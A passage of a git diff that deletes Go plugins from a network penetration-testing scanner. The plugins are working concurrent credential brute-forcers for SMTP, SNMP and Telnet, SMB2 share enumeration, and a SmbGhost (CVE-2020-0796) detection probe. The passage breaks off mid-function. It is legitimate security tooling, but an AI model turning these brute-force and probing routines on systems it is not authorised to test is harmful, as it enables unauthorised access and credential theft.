credential = common.HashValue - } - - // 保存共享信息结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "shares-found", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "smb2", - "username": user, - "domain": common.Domain, - "shares": shares, - "credential": credential, - "auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0], - }, - } - common.SaveResult(result) - - // 控制台输出 - var msg string - if common.Domain != "" { - msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user) - } else { - msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user) - } - - if len(hash) > 0 { - msg += fmt.Sprintf(" Hash:%s", common.HashValue) - } else { - msg += fmt.Sprintf(" Pass:%s", pass) - } - msg += fmt.Sprintf(" 共享:%v", shares) - common.LogBase(msg) -} diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go deleted file mode 100644 index 6f3e0de..0000000 --- a/Plugins/SMTP.go +++ /dev/null @@ -1,326 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "net/smtp" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// SmtpCredential 表示一个SMTP凭据 -type SmtpCredential struct { - Username string - Password string -} - -// SmtpScanResult 表示SMTP扫描结果 -type SmtpScanResult struct { - Success bool - Error error - Credential SmtpCredential - IsAnonymous bool -} - -// SmtpScan 执行 SMTP 服务扫描 -func SmtpScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 先测试匿名访问 - common.LogDebug("尝试匿名访问...") - anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, common.Timeout, common.MaxRetries) - - if anonymousResult.Success { - // 匿名访问成功 - saveSmtpResult(info, target, anonymousResult) - return nil - } - - // 构建凭据列表 - var credentials []SmtpCredential - for _, user := range common.Userdict["smtp"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, SmtpCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["smtp"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentSmtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveSmtpResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("SMTP扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 - return nil - } -} - -// concurrentSmtpScan 并发扫描SMTP服务 -func concurrentSmtpScan(ctx context.Context, info *common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *SmtpScanResult, 1) - workChan := make(chan SmtpCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := trySmtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("SMTP并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// trySmtpCredential 尝试单个SMTP凭据 -func trySmtpCredential(ctx context.Context, info *common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &SmtpScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - - // 在协程中尝试连接 - resultChan := make(chan struct { - success bool - err error - }, 1) - - go func() { - success, err := SmtpConn(info, credential.Username, credential.Password, timeoutSeconds) - select { - case <-connCtx.Done(): - case resultChan <- struct { - success bool - err error - }{success, err}: - } - }() - - // 等待结果或超时 - var success bool - var err error - - select { - case result := <-resultChan: - success = result.success - err = result.err - case <-connCtx.Done(): - cancel() - if ctx.Err() != nil { - // 全局超时 - return &SmtpScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err = fmt.Errorf("连接超时") - } - - cancel() // 释放连接上下文 - - if success { - isAnonymous := credential.Username == "" && credential.Password == "" - return &SmtpScanResult{ - Success: true, - Credential: credential, - IsAnonymous: isAnonymous, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &SmtpScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// SmtpConn 尝试 SMTP 连接 -func SmtpConn(info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(timeoutSeconds) * time.Second - addr := fmt.Sprintf("%s:%s", host, port) - - // 设置连接超时 - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) - if err != nil { - return false, err - } - defer conn.Close() - - // 设置读写超时 - conn.SetDeadline(time.Now().Add(timeout)) - - client, err := smtp.NewClient(conn, host) - if err != nil { - return false, err - } - defer client.Close() - - // 尝试认证 - if user != "" { - auth := smtp.PlainAuth("", user, pass, host) - err = client.Auth(auth) - if err != nil { - return false, err - } - } - - // 尝试发送邮件(测试权限) - err = client.Mail("test@test.com") - if err != nil { - return false, err - } - - return true, nil -} - -// saveSmtpResult 保存SMTP扫描结果 -func saveSmtpResult(info *common.HostInfo, target string, result *SmtpScanResult) { - var successMsg string - var details map[string]interface{} - - if result.IsAnonymous { - successMsg = fmt.Sprintf("SMTP服务 %s 允许匿名访问", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "smtp", - "type": "anonymous-access", - "anonymous": true, - } - } else { - successMsg = fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "smtp", - "type": "weak-password", - "username": result.Credential.Username, - "password": result.Credential.Password, - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go deleted file mode 100644 index 3956b1e..0000000 --- a/Plugins/SNMP.go +++ /dev/null @@ -1,145 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/gosnmp/gosnmp" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "strconv" - "strings" - "time" -) - -// SNMPScan 执行SNMP服务扫描 -func SNMPScan(info *common.HostInfo) (tmperr error) { - if common.DisableBrute { - return - } - - maxRetries := common.MaxRetries - portNum, _ := strconv.Atoi(info.Ports) - defaultCommunities := []string{"public", "private", "cisco", "community"} - timeout := time.Duration(common.Timeout) * time.Second - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities))) - - tried := 0 - total := len(defaultCommunities) - - for _, community := range defaultCommunities { - tried++ - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community)) - - for retryCount := 0; retryCount < maxRetries; retryCount++ { - if retryCount > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community)) - } - - done := make(chan struct { - success bool - sysDesc string - err error - }, 1) - - go func(community string) { - success, sysDesc, err := SNMPConnect(info, community, portNum) - select { - case done <- struct { - success bool - sysDesc string - err error - }{success, sysDesc, err}: - default: - } - }(community) - - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community) - if result.sysDesc != "" { - successMsg += fmt.Sprintf(" System: %v", result.sysDesc) - } - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "snmp", - "community": community, - "type": "weak-community", - "system": result.sysDesc, - }, - } - common.SaveResult(vulnResult) - return nil - } - case <-time.After(timeout): - err = fmt.Errorf("连接超时") - } - - if err != nil { - errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v", - target, community, err) - common.LogError(errlog) - - if retryErr := common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - continue - } - continue - } - } - break - } - } - - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried)) - return tmperr -} - -// SNMPConnect 尝试SNMP连接 -func SNMPConnect(info *common.HostInfo, community string, portNum int) (bool, string, error) { - host := info.Host - timeout := time.Duration(common.Timeout) * time.Second - - snmp := &gosnmp.GoSNMP{ - Target: host, - Port: uint16(portNum), - Community: community, - Version: gosnmp.Version2c, - Timeout: timeout, - Retries: 1, - } - - err := snmp.Connect() - if err != nil { - return false, "", err - } - defer snmp.Conn.Close() - - oids := []string{"1.3.6.1.2.1.1.1.0"} - result, err := snmp.Get(oids) - if err != nil { - return false, "", err - } - - if len(result.Variables) > 0 { - var sysDesc string - if result.Variables[0].Type != gosnmp.NoSuchObject { - sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte))) - } - return true, sysDesc, nil - } - - return false, "", fmt.Errorf("认证失败") -} diff --git a/Plugins/SSH.go b/Plugins/SSH.go deleted file mode 100644 index f56e193..0000000 --- a/Plugins/SSH.go +++ /dev/null @@ -1,19 +0,0 @@ -package Plugins - -import ( - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/adapter" -) - -// SshScan 扫描SSH服务弱密码 -// 现在完全使用新的插件架构 -func SshScan(info *common.HostInfo) error { - // 使用新的插件架构 - if adapter.TryNewArchitecture("ssh", info) { - return nil // 新架构处理成功 - } - - // 如果新架构不支持,记录错误(理论上不应该发生) - common.LogError("SSH插件新架构不可用,请检查插件注册") - return nil -} \ No newline at end of file diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go deleted file mode 100644 index 9da8bef..0000000 --- a/Plugins/SmbGhost.go +++ /dev/null @@ -1,161 +0,0 @@ -package Plugins - -import ( - "bytes" - "fmt" - "time" - - "github.com/shadow1ng/fscan/common" -) - -const ( - pkt = "\x00" + // session - "\x00\x00\xc0" + // legth - - "\xfeSMB@\x00" + // protocol - - //[MS-SMB2]: SMB2 NEGOTIATE Request - //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 - - "\x00\x00" + - "\x00\x00" + - "\x00\x00" + - "\x00\x00" + - "\x1f\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - - // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT - // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 - - "$\x00" + - "\x08\x00" + - "\x01\x00" + - "\x00\x00" + - "\x7f\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "x\x00" + - "\x00\x00" + - "\x02\x00" + - "\x00\x00" + - "\x02\x02" + - "\x10\x02" + - "\x22\x02" + - "$\x02" + - "\x00\x03" + - "\x02\x03" + - "\x10\x03" + - "\x11\x03" + - "\x00\x00\x00\x00" + - - // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES - // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 - - "\x01\x00" + - "&\x00" + - "\x00\x00\x00\x00" + - "\x01\x00" + - "\x20\x00" + - "\x01\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00\x00\x00" + - "\x00\x00" + - - // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES - // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 - - "\x03\x00" + - "\x0e\x00" + - "\x00\x00\x00\x00" + - "\x01\x00" + //CompressionAlgorithmCount - "\x00\x00" + - "\x01\x00\x00\x00" + - "\x01\x00" + //LZNT1 - "\x00\x00" + - "\x00\x00\x00\x00" -) - -// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 -func SmbGhost(info *common.HostInfo) error { - // 如果开启了暴力破解模式,跳过该检测 - if common.DisableBrute { - return nil - } - - // 执行实际的SMB Ghost漏洞扫描 - err := SmbGhostScan(info) - return err -} - -// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 -func SmbGhostScan(info *common.HostInfo) error { - // 设置扫描参数 - ip := info.Host - port := 445 // SMB服务默认端口 - timeout := time.Duration(common.Timeout) * time.Second - - // 构造目标地址 - addr := fmt.Sprintf("%s:%v", ip, port) - - // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) - if err != nil { - return err - } - defer conn.Close() // 确保连接最终被关闭 - - // 发送SMB协议探测数据包 - if _, err = conn.Write([]byte(pkt)); err != nil { - return err - } - - // 准备接收响应 - buff := make([]byte, 1024) - - // 设置读取超时 - if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { - return err - } - - // 读取响应数据 - n, err := conn.Read(buff) - if err != nil || n == 0 { - return err - } - - // 分析响应数据,检测是否存在漏洞 - // 检查条件: - // 1. 响应包含"Public"字符串 - // 2. 响应长度大于等于76字节 - // 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00) - if bytes.Contains(buff[:n], []byte("Public")) && - len(buff[:n]) >= 76 && - bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && - bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { - - // 发现漏洞,记录结果 - result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip) - common.LogSuccess(result) - } - - return err -} diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go deleted file mode 100644 index 4d28865..0000000 --- a/Plugins/Telnet.go +++ /dev/null @@ -1,770 +0,0 @@ -package Plugins - -import ( - "bytes" - "context" - "errors" - "fmt" - "net" - "regexp" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// TelnetCredential 表示一个Telnet凭据 -type TelnetCredential struct { - Username string - Password string -} - -// TelnetScanResult 表示Telnet扫描结果 -type TelnetScanResult struct { - Success bool - Error error - Credential TelnetCredential - NoAuth bool -} - -// TelnetScan 执行Telnet服务扫描和密码爆破 -func TelnetScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []TelnetCredential - for _, user := range common.Userdict["telnet"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, TelnetCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["telnet"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentTelnetScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveTelnetResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Telnet扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentTelnetScan 并发扫描Telnet服务 -func concurrentTelnetScan(ctx context.Context, info *common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *TelnetScanResult, 1) - workChan := make(chan TelnetCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryTelnetCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success || result.NoAuth { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据或无需认证,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && (result.Success || result.NoAuth) { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Telnet并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryTelnetCredential 尝试单个Telnet凭据 -func tryTelnetCredential(ctx context.Context, info *common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &TelnetScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建结果通道 - resultChan := make(chan struct { - success bool - noAuth bool - err error - }, 1) - - // 设置单个连接超时 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - go func() { - defer cancel() - noAuth, err := telnetConnWithContext(connCtx, info, credential.Username, credential.Password) - select { - case <-connCtx.Done(): - // 连接已超时或取消 - case resultChan <- struct { - success bool - noAuth bool - err error - }{err == nil, noAuth, err}: - } - }() - - // 等待结果或超时 - var success bool - var noAuth bool - var err error - - select { - case result := <-resultChan: - success = result.success - noAuth = result.noAuth - err = result.err - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局超时 - return &TelnetScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err = fmt.Errorf("连接超时") - } - - if noAuth { - return &TelnetScanResult{ - Success: false, - NoAuth: true, - Credential: credential, - } - } - - if success { - return &TelnetScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &TelnetScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// telnetConnWithContext 带上下文的Telnet连接尝试 -func telnetConnWithContext(ctx context.Context, info *common.HostInfo, user, pass string) (bool, error) { - // 创建TCP连接(使用支持context的socks代理) - conn, err := common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports)) - if err != nil { - return false, err - } - - client := &TelnetClient{ - IPAddr: info.Host, - Port: info.Ports, - UserName: user, - Password: pass, - conn: conn, - } - - // 设置连接关闭 - defer client.Close() - - // 检查上下文是否已取消 - select { - case <-ctx.Done(): - return false, ctx.Err() - default: - } - - // 初始化连接 - client.init() - - client.ServerType = client.MakeServerType() - - if client.ServerType == UnauthorizedAccess { - return true, nil - } - - err = client.Login() - return false, err -} - -// saveTelnetResult 保存Telnet扫描结果 -func saveTelnetResult(info *common.HostInfo, target string, result *TelnetScanResult) { - var successMsg string - var details map[string]interface{} - - if result.NoAuth { - successMsg = fmt.Sprintf("Telnet服务 %s 无需认证", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "telnet", - "type": "unauthorized-access", - } - } else { - successMsg = fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "telnet", - "type": "weak-password", - "username": result.Credential.Username, - "password": result.Credential.Password, - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} - -// TelnetClient Telnet客户端结构体 -type TelnetClient struct { - IPAddr string // 服务器IP地址 - Port string // 服务器端口 - UserName string // 用户名 - Password string // 密码 - conn net.Conn // 网络连接 - LastResponse string // 最近一次响应内容 - ServerType int // 服务器类型 -} - -// init 初始化Telnet连接 -func (c *TelnetClient) init() { - // 启动后台goroutine处理服务器响应 - go func() { - for { - // 读取服务器响应 - buf, err := c.read() - if err != nil { - // 处理连接关闭和EOF情况 - if strings.Contains(err.Error(), "closed") || - strings.Contains(err.Error(), "EOF") { - break - } - break - } - - // 处理响应数据 - displayBuf, commandList := c.SerializationResponse(buf) - - if len(commandList) > 0 { - // 有命令需要回复 - replyBuf := c.MakeReplyFromList(commandList) - c.LastResponse += string(displayBuf) - _ = c.write(replyBuf) - } else { - // 仅保存显示内容 - c.LastResponse += string(displayBuf) - } - } - }() - - // 等待连接初始化完成 - time.Sleep(time.Second * 2) -} - -// WriteContext 写入数据到Telnet连接 -func (c *TelnetClient) WriteContext(s string) { - // 写入字符串并添加回车及空字符 - _ = c.write([]byte(s + "\x0d\x00")) -} - -// ReadContext 读取Telnet连接返回的内容 -func (c *TelnetClient) ReadContext() string { - // 读取完成后清空缓存 - defer func() { c.Clear() }() - - // 等待响应 - if c.LastResponse == "" { - time.Sleep(time.Second) - } - - // 处理特殊字符 - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "") - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n") - - return c.LastResponse -} - -// Netloc 获取网络地址字符串 -func (c *TelnetClient) Netloc() string { - return fmt.Sprintf("%s:%s", c.IPAddr, c.Port) -} - -// Close 关闭Telnet连接 -func (c *TelnetClient) Close() { - if c.conn != nil { - c.conn.Close() - } -} - -// SerializationResponse 解析Telnet响应数据 -func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) { - for { - // 查找IAC命令标记 - index := bytes.IndexByte(responseBuf, IAC) - if index == -1 || len(responseBuf)-index < 2 { - displayBuf = append(displayBuf, responseBuf...) - break - } - - // 获取选项字符 - ch := responseBuf[index+1] - - // 处理连续的IAC - if ch == IAC { - displayBuf = append(displayBuf, responseBuf[:index]...) - responseBuf = responseBuf[index+1:] - continue - } - - // 处理DO/DONT/WILL/WONT命令 - if ch == DO || ch == DONT || ch == WILL || ch == WONT { - commandBuf := responseBuf[index : index+3] - commandList = append(commandList, commandBuf) - displayBuf = append(displayBuf, responseBuf[:index]...) - responseBuf = responseBuf[index+3:] - continue - } - - // 处理子协商命令 - if ch == SB { - displayBuf = append(displayBuf, responseBuf[:index]...) - seIndex := bytes.IndexByte(responseBuf, SE) - if seIndex != -1 && seIndex > index { - commandList = append(commandList, responseBuf[index:seIndex+1]) - responseBuf = responseBuf[seIndex+1:] - continue - } - } - - break - } - - return displayBuf, commandList -} - -// MakeReplyFromList 处理命令列表并生成回复 -func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte { - var reply []byte - for _, command := range list { - reply = append(reply, c.MakeReply(command)...) - } - return reply -} - -// MakeReply 根据命令生成对应的回复 -func (c *TelnetClient) MakeReply(command []byte) []byte { - // 命令至少需要3字节 - if len(command) < 3 { - return []byte{} - } - - verb := command[1] // 动作类型 - option := command[2] // 选项码 - - // 处理回显(ECHO)和抑制继续进行(SGA)选项 - if option == ECHO || option == SGA { - switch verb { - case DO: - return []byte{IAC, WILL, option} - case DONT: - return []byte{IAC, WONT, option} - case WILL: - return []byte{IAC, DO, option} - case WONT: - return []byte{IAC, DONT, option} - case SB: - // 处理子协商命令 - // 命令格式: IAC + SB + option + modifier + IAC + SE - if len(command) >= 4 { - modifier := command[3] - if modifier == ECHO { - return []byte{IAC, SB, option, BINARY, IAC, SE} - } - } - } - } else { - // 处理其他选项 - 拒绝所有请求 - switch verb { - case DO, DONT: - return []byte{IAC, WONT, option} - case WILL, WONT: - return []byte{IAC, DONT, option} - } - } - - return []byte{} -} - -// read 从Telnet连接读取数据 -func (c *TelnetClient) read() ([]byte, error) { - var buf [2048]byte - // 设置读取超时为2秒 - _ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 2)) - n, err := c.conn.Read(buf[0:]) - if err != nil { - return nil, err - } - return buf[:n], nil -} - -// write 向Telnet连接写入数据 -func (c *TelnetClient) write(buf []byte) error { - // 设置写入超时 - _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3)) - - _, err := c.conn.Write(buf) - if err != nil { - return err - } - // 写入后短暂延迟,让服务器有时间处理 - time.Sleep(TIME_DELAY_AFTER_WRITE) - return nil -} - -// Login 根据服务器类型执行登录 -func (c *TelnetClient) Login() error { - switch c.ServerType { - case Closed: - return errors.New("service is disabled") - case UnauthorizedAccess: - return nil - case OnlyPassword: - return c.LogBaserOnlyPassword() - case UsernameAndPassword: - return c.LogBaserUsernameAndPassword() - default: - return errors.New("unknown server type") - } -} - -// MakeServerType 通过分析服务器响应判断服务器类型 -func (c *TelnetClient) MakeServerType() int { - responseString := c.ReadContext() - - // 空响应情况 - if responseString == "" { - return Closed - } - - response := strings.Split(responseString, "\n") - if len(response) == 0 { - return Closed - } - - lastLine := strings.ToLower(response[len(response)-1]) - - // 检查是否需要用户名和密码 - if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) { - return UsernameAndPassword - } - - // 检查是否只需要密码 - if strings.Contains(lastLine, "pass") { - return OnlyPassword - } - - // 检查是否无需认证的情况 - if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) { - return UnauthorizedAccess - } - - return Closed -} - -// 辅助函数:检查字符串是否包含任意给定子串 -func containsAny(s string, substrings []string) bool { - for _, sub := range substrings { - if strings.Contains(s, sub) { - return true - } - } - return false -} - -// 辅助函数:检查是否无需认证 -func isNoAuthRequired(line string) bool { - patterns := []string{ - `^/ #.*`, - `^<[A-Za-z0-9_]+>`, - `^#`, - } - - for _, pattern := range patterns { - if regexp.MustCompile(pattern).MatchString(line) { - return true - } - } - return false -} - -// LogBaserOnlyPassword 处理只需密码的登录 -func (c *TelnetClient) LogBaserOnlyPassword() error { - c.Clear() // 清空之前的响应 - - // 发送密码并等待响应 - c.WriteContext(c.Password) - time.Sleep(time.Second * 2) - - // 验证登录结果 - responseString := c.ReadContext() - if c.isLoginFailed(responseString) { - return errors.New("login failed") - } - if c.isLoginSucceed(responseString) { - return nil - } - - return errors.New("login failed") -} - -// LogBaserUsernameAndPassword 处理需要用户名和密码的登录 -func (c *TelnetClient) LogBaserUsernameAndPassword() error { - // 发送用户名 - c.WriteContext(c.UserName) - time.Sleep(time.Second * 2) - c.Clear() - - // 发送密码 - c.WriteContext(c.Password) - time.Sleep(time.Second * 3) - - // 验证登录结果 - responseString := c.ReadContext() - if c.isLoginFailed(responseString) { - return errors.New("login failed") - } - if 